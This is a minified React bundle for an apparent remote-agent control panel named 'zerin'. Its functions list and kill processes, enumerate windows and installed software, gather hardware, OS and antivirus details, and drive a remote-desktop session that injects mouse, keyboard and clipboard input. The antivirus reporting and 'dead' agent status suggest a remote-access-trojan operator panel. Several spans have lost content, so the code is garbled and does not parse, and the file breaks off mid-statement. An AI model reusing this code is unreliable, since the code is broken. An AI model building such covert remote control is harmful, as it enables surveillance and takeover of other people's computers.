D3({process:e,depth:t,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:a,onKillCancel:o}){const[l,c]=p.useState(!0),u=e.children.length>0,d=n===e.pid,f=r===e.pid;return s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:`w-full grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-1.5\r + border-b border-zerin-panel-border last:border-b-0\r + hover:bg-zerin-panel-hover transition-colors text-xs`,children:[s.jsx("span",{className:"font-mono text-zerin-accent tabular-nums cursor-pointer",onClick:()=>u&&c(!l),children:e.pid}),s.jsxs("span",{className:"text-zerin-text cursor-pointer",style:{paddingLeft:t*16},onClick:()=>u&&c(!l),children:[u&&s.jsx("svg",{className:`w-3 h-3 inline mr-1 text-zerin-text-muted transition-transform ${l?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),e.name]}),s.jsx("span",{className:"text-zerin-text-muted truncate",children:e.user||"-"}),s.jsx("span",{children:f?s.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):d?s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("button",{onClick:()=>a(e.pid),className:"text-zerin-danger hover:text-red-400 font-medium transition-colors",children:"Yes"}),s.jsx("span",{className:"text-zerin-text-muted",children:"/"}),s.jsx("button",{onClick:o,className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:"No"})]}):e.pid>4?s.jsx("button",{onClick:()=>i(e.pid),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:`Kill PID ${e.pid}`,children:s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})}):null})]}),l&&e.children.map(m=>s.jsx(D3,{process:m,depth:t+1,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:a,onKillCancel:o},m.pid))]})}function PU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),m=t==="dead",h=p.useRef(null);p.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=p.useCallback(async()=>{if(!m){a(!0),l(""),r([]),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:y}=await Ce(e,{command:"windows"});u(!0);let v=0;const b=30;h.current=setInterval(async()=>{var w;v++;try{const k=(w=(await Rn(e)).results)==null?void 0:w.find(S=>S.task_id===y);if(k){if(h.current&&clearInterval(h.current),h.current=null,a(!1),k.error){l(k.error);return}if(k.output)try{const S=JSON.parse(k.output);r(S)}catch{l("Failed to parse window list")}}else v>=b&&(h.current&&clearInterval(h.current),h.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(y){l(y instanceof Error?y.message:"Failed to send command"),a(!1)}}},[e,m]),g=d?n.filter(y=>{const v=d.toLowerCase();return y.title.toLowerCase().includes(v)||y.class.toLowerCase().includes(v)||String(y.pid).includes(v)||String(y.hwnd).includes(v)}):n;return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:x,disabled:m||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:y=>f(y.target.value),placeholder:"Filter windows...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),m&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?g.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[100px]",children:"HWND"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[80px]",children:"PID"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Title"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[200px]",children:"Class"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:g.map((y,v)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-accent",children:y.hwnd}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:y.pid}),s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text truncate max-w-[400px]",children:y.title}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted truncate",children:y.class})]},`${y.hwnd}-${v}`))})]})}),s.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[g.length," window",g.length!==1?"s":""]})]}):c&&n.length===0?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No visible windows found"}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 8l7.89 5.26a2 2 0 002.22 0L21 8M5 19h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list visible windows on the agent"})]})})]})}function EU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),[m,h]=p.useState("name"),[x,g]=p.useState("asc"),y=t==="dead",v=p.useRef(null);p.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=p.useCallback(async()=>{if(!y){a(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:N}=await Ce(e,{command:"installed_apps"});u(!0);let z=0;const O=30;v.current=setInterval(async()=>{var _;z++;try{const P=(_=(await Rn(e)).results)==null?void 0:_.find(R=>R.task_id===N);if(P){if(v.current&&clearInterval(v.current),v.current=null,a(!1),P.error){l(P.error);return}if(P.output)try{const R=JSON.parse(P.output);r(R)}catch{l("Failed to parse installed apps data")}}else z>=O&&(v.current&&clearInterval(v.current),v.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(N){l(N instanceof Error?N.message:"Failed to send command"),a(!1)}}},[e,y]);function w(N){m===N?g(z=>z==="asc"?"desc":"asc"):(h(N),g("asc"))}const k=[...d?n.filter(N=>{const z=d.toLowerCase();return N.name.toLowerCase().includes(z)||N.version.toLowerCase().includes(z)||N.publisher.toLowerCase().includes(z)}):n].sort((N,z)=>{const O=N[m]||"",_=z[m]||"",T=O.localeCompare(_,void 0,{sensitivity:"base"});return x==="asc"?T:-T}),S=({col:N})=>m!==N?null:x==="asc"?s.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):s.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})});return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:N=>f(N.target.value),placeholder:"Filter apps...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?k.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsxs("th",{onClick:()=>w("name"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text",children:["Name ",s.jsx(S,{col:"name"})]}),s.jsxs("th",{onClick:()=>w("version"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[140px]",children:["Version ",s.jsx(S,{col:"version"})]}),s.jsxs("th",{onClick:()=>w("publisher"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[200px]",children:["Publisher ",s.jsx(S,{col:"publisher"})]}),s.jsxs("th",{onClick:()=>w("install_date"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[120px]",children:["Installed ",s.jsx(S,{col:"install_date"})]})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:k.map((N,z)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text",children:N.name}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:N.version||"-"}),s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text-muted truncate",children:N.publisher||"-"}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted",children:N.install_date||"-"})]},`${N.name}-${z}`))})]})}),s.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[k.length," application",k.length!==1?"s":""]})]}):c&&n.length===0?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No installed applications found"}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 7.5l-.625 10.632a2.25 2.25 0 01-2.247 2.118H6.622a2.25 2.25 0 01-2.247-2.118L3.75 7.5M10 11.25h4M3.375 7.5h17.25c.621 0 1.125-.504 1.125-1.125v-1.5c0-.621-.504-1.125-1.125-1.125H3.375c-.621 0-1.125.504-1.125 1.125v1.5c0 .621.504 1.125 1.125 1.125z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list installed applications"})]})})]})}function AU({agentId:e,agentStatus:t}){const[n,r]=p.useState(null),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),d=t==="dead",f=p.useRef(null);p.useEffect(()=>()=>{f.current&&clearInterval(f.current)},[]);const m=p.useCallback(async()=>{if(!d){a(!0),l(""),r(null),f.current&&(clearInterval(f.current),f.current=null);try{const{task_id:h}=await Ce(e,{command:"specs"});u(!0);let x=0;const g=30;f.current=setInterval(async()=>{var y;x++;try{const b=(y=(await Rn(e)).results)==null?void 0:y.find(w=>w.task_id===h);if(b){if(f.current&&clearInterval(f.current),f.current=null,a(!1),b.error){l(b.error);return}if(b.output)try{const w=JSON.parse(b.output);r(w)}catch{l("Failed to parse system specs")}}else x>=g&&(f.current&&clearInterval(f.current),f.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(h){l(h instanceof Error?h.message:"Failed to send command"),a(!1)}}},[e,d]);return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:m,disabled:d||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),d&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n?s.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-3 gap-4",children:[s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8.25 3v1.5M4.5 8.25H3m18 0h-1.5M4.5 12H3m18 0h-1.5m-15 3.75H3m18 0h-1.5M8.25 19.5V21M12 3v1.5m0 15V21m3.75-18v1.5m0 15V21m-9-1.5h10.5a2.25 2.25 0 002.25-2.25V6.75a2.25 2.25 0 00-2.25-2.25H6.75A2.25 2.25 0 004.5 6.75v10.5a2.25 2.25 0 002.25 2.25z"})}),"Hardware"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[s.jsx(ki,{label:"CPU",value:n.cpu}),s.jsx(ki,{label:"Cores",value:`${n.cores_physical} physical / ${n.cores_logical} logical`}),s.jsx(ki,{label:"RAM",value:`${n.ram_total_gb.toFixed(1)} GB total / ${n.ram_available_gb.toFixed(1)} GB free`}),s.jsx(ki,{label:"GPU",value:n.gpu})]})]}),s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})}),"Storage"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[n.disks.map((h,x)=>s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center justify-between text-xs mb-1",children:[s.jsx("span",{className:"font-mono text-zerin-text",children:h.mount}),s.jsxs("span",{className:"text-zerin-text-muted",children:[(h.total_gb-h.free_gb).toFixed(1)," / ",h.total_gb.toFixed(1)," GB"]})]}),s.jsx("div",{className:"w-full h-2 bg-zerin-bg rounded-sm overflow-hidden",children:s.jsx("div",{className:`h-full transition-all ${h.used_pct>90?"bg-zerin-danger":h.used_pct>75?"bg-yellow-500":"bg-zerin-accent"}`,style:{width:`${Math.min(h.used_pct,100)}%`}})}),s.jsxs("div",{className:"text-right text-[10px] text-zerin-text-muted mt-0.5",children:[h.used_pct.toFixed(1),"% used"]})]},`${h.mount}-${x}`)),n.disks.length===0&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No disk info available"})]})]}),s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75L11.25 15 15 9.75m-3-7.036A11.959 11.959 0 013.598 6 11.99 11.99 0 003 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285z"})}),"Software"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[s.jsx(ki,{label:"OS",value:n.os}),s.jsx(ki,{label:"AV",value:n.av}),s.jsx(ki,{label:"Uptime",value:`${n.uptime_days}d ${n.uptime_hours}h ${n.uptime_minutes}m`})]})]})]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to collect system specifications"})]})})]})}function ki({label:e,value:t}){return s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-[10px] uppercase tracking-wider mb-0.5",children:e}),s.jsx("p",{className:"text-zerin-text text-sm",children:t})]})}function _U(e,t,n){if(t+8>n)return{cols:0,rows:0,cursorX:0,cursorY:0,numDirty:0,tiles:[]};let r=t;const i=e.getUint8(r);r+=1;const a=e.getUint8(r);r+=1;const o=e.getUint16(r,!0);r+=2;const l=e.getUint16(r,!0);r+=2;const c=e.getUint16(r,!0);r+=2;const u=[];for(let d=0;d(_.current=window.setInterval(()=>{const Y=O.current;u(ee=>ee.fps===Y.fps&&ee.frameCount===Y.frameCount&&ee.dirtyTiles===Y.dirtyTiles&&ee.totalTiles===Y.totalTiles?ee:{fps:Y.fps,frameCount:Y.frameCount,width:Y.width,height:Y.height,lastFrameMs:Y.lastFrameMs,dirtyTiles:Y.dirtyTiles,totalTiles:Y.totalTiles})},500),()=>{_.current&&clearInterval(_.current)}),[]);const V=p.useCallback((Y,ee)=>{h.current||(h.current=document.createElement("canvas"));const C=h.current;return(C.width!==Y||C.height!==ee)&&(C.width=Y,C.height=ee,x.current=null),x.current||(x.current=C.getContext("2d",{willReadFrequently:!1})),{canvas:C,ctx:x.current}},[]),$=p.useRef(new ArrayBuffer(5)),L=p.useRef(new DataView($.current)),W=p.useCallback(Y=>{var ee;((ee=i.current)==null?void 0:ee.readyState)===WebSocket.OPEN&&!d.current&&i.current.send(Y)},[]),B=p.useMemo(()=>({sendMouseMove:(Y,ee)=>{const C=L.current;C.setUint8(0,1),C.setUint16(1,Y,!0),C.setUint16(3,ee,!0),W($.current)},sendMouseButton:(Y,ee,C,E)=>{const X=new ArrayBuffer(7),I=new DataView(X);I.setUint8(0,2),I.setUint8(1,Y),I.setUint8(2,ee),I.setUint16(3,C,!0),I.setUint16(5,E,!0),W(X)},sendMouseScroll:(Y,ee,C)=>{const E=new ArrayBuffer(7),X=new DataView(E);X.setUint8(0,3),X.setInt16(1,Y,!0),X.setUint16(3,ee,!0),X.setUint16(5,C,!0),W(E)},sendKey:(Y,ee,C)=>{const E=new ArrayBuffer(8),X=new DataView(E);X.setUint8(0,4),X.setUint8(1,Y),X.setUint16(2,ee,!0),X.setUint32(4,C,!0),W(E)},sendClipboard:Y=>{const ee=new TextEncoder().encode(Y),C=new ArrayBuffer(5+ee.length),E=new DataView(C);E.setUint8(0,5),E.setUint32(1,ee.length,!0),new Uint8Array(C,5).set(ee),W(C)},setQuality:Y=>{R.current=Y;const ee=new ArrayBuffer(3),C=new DataView(ee);C.setUint8(0,6),C.setUint8(1,1),C.setUint8(2,Y),W(ee)},setViewOnly:Y=>{d.current=Y},sendControl:(Y,ee)=>{const C=new ArrayBuffer(3),E=new DataView(C);E.setUint8(0,6),E.setUint8(1,Y),E.setUint8(2,ee),W(C)}}),[W]),U=p.useCallback(()=>{if(!x2||f.current)return;const Y=new Worker(new URL("/assets/vnc-decode.worker-EPE-JCx4.js",import.meta.url),{type:"module"});Y.onmessage=ee=>{if(ee.data.type==="frame"){const{bitmap:C,width:E,height:X,cursorX:I,cursorY:ne}=ee.data;m.current(C,E,X,I,ne)}},f.current=Y},[]),F=p.useCallback(()=>{f.current&&(f.current.terminate(),f.current=null)},[]),H=p.useCallback(()=>{if(x2||b.current!==null)return;const Y=()=>{const ee=y.current,C=g.current,E=w.current;if((ee.length>0||C.length>0)&&E){const{canvas:X,ctx:I}=V(E.width,E.height);for(const ne of ee)I.fillStyle=`rgb(${ne.r},${ne.g},${ne.b})`,I.fillRect(ne.col*ne.tileSize,ne.row*ne.tileSize,ne.tileSize,ne.tileSize);for(const ne of C)I.drawImage(ne.bitmap,ne.col*ne.tileSize,ne.row*ne.tileSize),ne.bitmap.close();y.current=[],g.current=[],m.current(X,E.width,E.height,E.cursorX,E.cursorY)}b.current=requestAnimationFrame(Y)};b.current=requestAnimationFrame(Y)},[V]),G=p.useCallback(()=>{b.current!==null&&(cancelAnimationFrame(b.current),b.current=null);for(const Y of g.current)Y.bitmap.close();g.current=[],y.current=[]},[]),re=p.useCallback(()=>{if(T.current!==null)return;const Y=64*1024;T.current=window.setInterval(()=>{const ee=i.current;if(!(!ee||ee.readyState!==WebSocket.OPEN)){if(ee.bufferedAmount>Y&&!P.current){P.current=!0;const C=new ArrayBuffer(3),E=new DataView(C);E.setUint8(0,6),E.setUint8(1,1),E.setUint8(2,30),W(C)}else if(ee.bufferedAmount<=Y/2&&P.current){P.current=!1;const C=new ArrayBuffer(3),E=new DataView(C);E.setUint8(0,6),E.setUint8(1,1),E.setUint8(2,R.current),W(C)}}},250)},[W]),oe=p.useCallback(()=>{T.current!==null&&(clearInterval(T.current),T.current=null),P.current=!1},[]),he=p.useCallback(()=>{if(i.current)return;const Y=et();if(!Y)return;const C=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/vnc/${e}/ws?mode=${t}&token=${encodeURIComponent(Y)}`,E=new WebSocket(C);E.binaryType="arraybuffer",i.current=E,E.onopen=()=>{l(!0),U(),H(),re()},E.onmessage=X=>{if(!(X.data instanceof ArrayBuffer))return;const I=new DataView(X.data);if(X.data.byteLength<13)return;const ne=I.getUint16(0,!0),me=I.getUint16(2,!0),ve=Number(I.getBigUint64(4,!0)),Ee=I.getUint8(12),D=performance.now(),ce=S.current,K=N.current%k;ce[K]=D,N.current=K+1,z.current1){const Q=ce[(K+1-le+k)%k],ue=(D-Q)/1e3;ue>0&&(J=Math.round((le-1)/ue))}const q=O.current;if(q.frameCount++,q.fps=J,q.width=ne,q.height=me,q.lastFrameMs=ve,Ee===1){const Q=_U(I,13,X.data.byteLength);q.dirtyTiles=Q.numDirty,q.totalTiles=Q.cols*Q.rows;const ue=Q.cols>0?Math.ceil(ne/Q.cols):128,A=Q.tiles.filter(te=>te.codec===1),se=Q.tiles.filter(te=>te.codec===2);if(f.current){const te=[],de=A.map(Ne=>{const Dr=Ne.data.buffer.slice(Ne.data.byteOffset,Ne.data.byteOffset+Ne.data.byteLength);return te.push(Dr),{col:Ne.col,row:Ne.row,data:Dr}}),ge=se.map(Ne=>({col:Ne.col,row:Ne.row,r:Ne.data[0],g:Ne.data[1],b:Ne.data[2]}));f.current.postMessage({type:"tiles",tiles:de,solids:ge,width:ne,height:me,cursorX:Q.cursorX,cursorY:Q.cursorY,tileSize:ue},te)}else{w.current={width:ne,height:me,cursorX:Q.cursorX,cursorY:Q.cursorY};for(const te of se)y.current.push({col:te.col,row:te.row,r:te.data[0],g:te.data[1],b:te.data[2],tileSize:ue});if(A.length>0){if(j.current){v.current||(v.current=[]);for(const de of A){const ge=v.current.findIndex(Ne=>Ne.col===de.col&&Ne.row===de.row);ge>=0?v.current[ge]={...de,tileSize:ue}:v.current.push({...de,tileSize:ue})}return}j.current=!0;let te=A.map(de=>({...de,tileSize:ue}));if(v.current&&v.current.length>0){for(const de of v.current)te.findIndex(Ne=>Ne.col===de.col&&Ne.row===de.row)<0&&te.push(de);v.current=[]}Promise.all(te.map(de=>{const ge=new Blob([de.data],{type:"image/jpeg"});return createImageBitmap(ge).then(Ne=>({bitmap:Ne,col:de.col,row:de.row,tileSize:de.tileSize}))})).then(de=>{j.current=!1;for(const ge of 